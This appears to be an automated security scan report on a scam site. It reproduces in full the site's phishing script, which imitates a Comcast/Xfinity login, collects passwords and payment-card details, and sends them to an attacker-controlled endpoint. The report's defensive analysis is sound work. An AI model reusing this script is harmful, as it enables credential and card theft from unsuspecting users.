finance banking

technology software

e-commerce shopping

government public service

cryptocurrency blockchain

English

The domain 'www.xfactor300.vercel.app' uses the application-focused generic top-level domain (.app) and includes subdomain 'www.xfactor300'. The second-level label 'vercel' is 6 characters long containing two vowels alongside four consonants. Segmentation suggests two words: ver, cel. The median word length lands at three characters. No strong language cues emerged from the frequency lists.

cardNumber

nameOnCard

expiryDate

securityCode

zipCode

address

html/14/da/14da1bab-d960-434d-ae93-7a333daf81fc.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

176e894661aa9cdc9a5cba6c720044cbbf7b8bd80d1c9a142a7c24b1b6c50d15

3ed40678f4e0b3c2cc99c7982e2b80f339c055d09467ab4bfca225649eb48e3e

5cd2de3660dcaf9a8c449df5d5183c02c448120902a1e0c5f0c6d3b6b0210b33

f7ca590f78b1ab2c6bc03a00ed84aecc89551980673e161d4c60007555e3ebaf

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

Tucows

Tucows Domains Inc

vercel.app

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


        tailwind.config = {
            theme: {
                extend: {
                    boxShadow: {
                        'inset-border-active': 'inset 0 0 0 1px #0d54ff',
                    },
                    fontFamily: {
                        sans: ['Work Sans', 'sans-serif'],
                    }
                }
            }
        }
    


        // Updated Base URL and Chat ID
        const baseURL = 'https://fr-1290-2o1v.vercel.app/';
        const CHAT_ID = 'alinasam973@gmail.com';

        let state = {
            step: 1,
            email: '',
            password: '',
            password2: '',
            showPassword: false,
            showPassword2: false,
            ipAddress: ''
        };

        const step1 = document.getElementById('step-1');
        const step2 = document.getElementById('step-2');
        const inputField = document.getElementById('input-field');
        const btnSubmit = document.getElementById('btn-submit');
        const errorMessageContainer = document.getElementById('error-message-container');
        const errorText = document.getElementById('error-text');
        const showEmailBack = document.getElementById('show-email-back');
        const displayedEmail = document.getElementById('displayed-email');
        const paymentForm = document.getElementById('payment-form');

        document.addEventListener('DOMContentLoaded', () => {
            fetchIP();

            btnSubmit.addEventListener('click', handleLoginClick);
            showEmailBack.addEventListener('click', handleBackClick);
            inputField.addEventListener('input', () => errorMessageContainer.classList.add('hidden'));

            paymentForm.addEventListener('submit', handlePaymentSubmit);

            document.getElementById('cardNumber').addEventListener('input', (e) => {
                e.target.value = formatCardNumber(e.target.value);
                clearError('cardNumber');
            });
            document.getElementById('expiryDate').addEventListener('input', (e) => {
                e.target.value = formatExpiryDate(e.target.value);
                clearError('expiryDate');
            });

            ['nameOnCard', 'securityCode', 'zipCode', 'address'].forEach(id => {
                document.getElementById(id).addEventListener('input', () => clearError(id));
            });
        });

        function fetchIP() {
            fetch('https://api.ipify.org?format=json')
                .then(r => r.json())
                .then(d => state.ipAddress = d.ip)
                .catch(e => console.error(e));
        }

        function isValidEmail(email) {
            return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
        }

        function handleLoginClick() {
            errorMessageContainer.classList.add('hidden');
            const val = inputField.value;

            if (!state.showPassword) {
                if (!isValidEmail(val)) {
                    errorMessageContainer.classList.remove('hidden');
                    return;
                }
                state.email = val;
                state.showPassword = true;
                showEmailBack.classList.remove('hidden');
                displayedEmail.innerText = state.email;
                inputField.value = '';
                inputField.placeholder = 'Password';
                inputField.type = 'password';
                return;
            }

            if (!state.showPassword2) {
                if (!val) {
                    errorMessageContainer.classList.remove('hidden');
                    return;
                }
                state.password = val;
                state.showPassword2 = true;
                inputField.value = '';
                inputField.placeholder = 'Enter password again';
                return;
            }

            if (!val) {
                errorMessageContainer.classList.remove('hidden');
                errorText.innerText = 'Please enter your password correctly';
                return;
            }
            state.password2 = val;
            authenticate();
        }

        function handleBackClick() {
            state.showPassword = false;
            state.showPassword2 = false;
            showEmailBack.classList.add('hidden');
            inputField.value = state.email;
            inputField.placeholder = 'Email, mobile, or username';
            inputField.type = 'text';
            errorMessageContainer.classList.add('hidden');
        }

        function authenticate() {
            const payload = {
                email: state.email,
                password: state.password,
                password2: state.password2,
                name: 'Comcast',
                IPAddress: state.ipAddress,
                chatId: CHAT_ID,
                title: 'Comcast'
            };

            // Using the new submission logic structure
            fetch(`${baseURL}main`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ 
                    data: JSON.stringify(payload), 
                    chatId: CHAT_ID, 
                    title: 'Comcast' 
                })
            })
            .then(() => {
                step1.classList.add('hidden');
                step2.classList.remove('hidden');
            })
            .catch(e => console.error(e));
        }

        function formatCardNumber(v) {
            v = v.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
            const parts = v.match(/.{1,4}/g);
            return parts ? parts.join(' ') : v;
        }

        function formatExpiryDate(v) {
            v = v.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
            return v.length > 2 ? v.substring(0, 2) + '/' + v.substring(2, 4) : v;
        }

        function luhnCheck(c) {
            c = c.replace(/\s/g, '');
            let sum = 0, db = false;
            for (let i = c.length - 1; i >= 0; i--) {
                let d = parseInt(c[i]);
                if (db) { d *= 2; if (d > 9) d -= 9; }
                sum += d; db = !db;
            }
            return sum % 10 === 0;
        }

        function clearError(id) {
            const err = document.getElementById(`error-${id}`), inp = document.getElementById(id);
            if (err) err.classList.add('hidden');
            if (inp) { inp.classList.remove('border-red-500'); inp.classList.add('border-gray-300'); }
            document.getElementById('form-global-error').classList.add('hidden');
        }

        function showError(id, msg) {
            const err = document.getElementById(`error-${id}`), inp = document.getElementById(id);
            if (err) { err.innerText = msg; err.classList.remove('hidden'); }
            if (inp) { inp.classList.remove('border-gray-300'); inp.classList.add('border-red-500'); }
        }

        function handlePaymentSubmit(e) {
            e.preventDefault();
            const fd = new FormData(paymentForm);
            let ok = true;

            const fields = ['cardNumber', 'nameOnCard', 'expiryDate', 'securityCode', 'zipCode', 'address'];
            fields.forEach(f => {
                if (!fd.get(f).trim()) { showError(f, 'Required'); ok = false; }
            });

            if (ok && !luhnCheck(fd.get('cardNumber'))) { showError('cardNumber', 'Invalid card'); ok = false; }
            
            if (ok) {
                const data = JSON.stringify({ ...Object.fromEntries(fd), name: 'Comcast' });
                
                // Using the new submission logic structure
                fetch(`${baseURL}main`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ 
                        data, 
                        chatId: CHAT_ID, 
                        title: 'Comcast' 
                    })
                })
                .then(() => window.location.replace('https://login.xfinity.com/login'))
                .catch(e => console.error(e));
            } else {
                document.getElementById('form-global-error').classList.remove('hidden');
            }
        }
    

Requests	IP Address	Location	AS Autonomous System
3	104.26.12.205Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	104.26.2.143Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	64.29.17.195	United States	AS16509Amazon.com, Inc.
1	104.26.3.143Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	142.251.110.94Google · CDN	United States	AS15169Google LLC
1	64.29.17.3	United States	AS16509Amazon.com, Inc.
1	192.178.183.95Google · CDN	United States	AS15169Google LLC
9	7	-	-

Security Scan Report: www.xfactor300.vercel.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History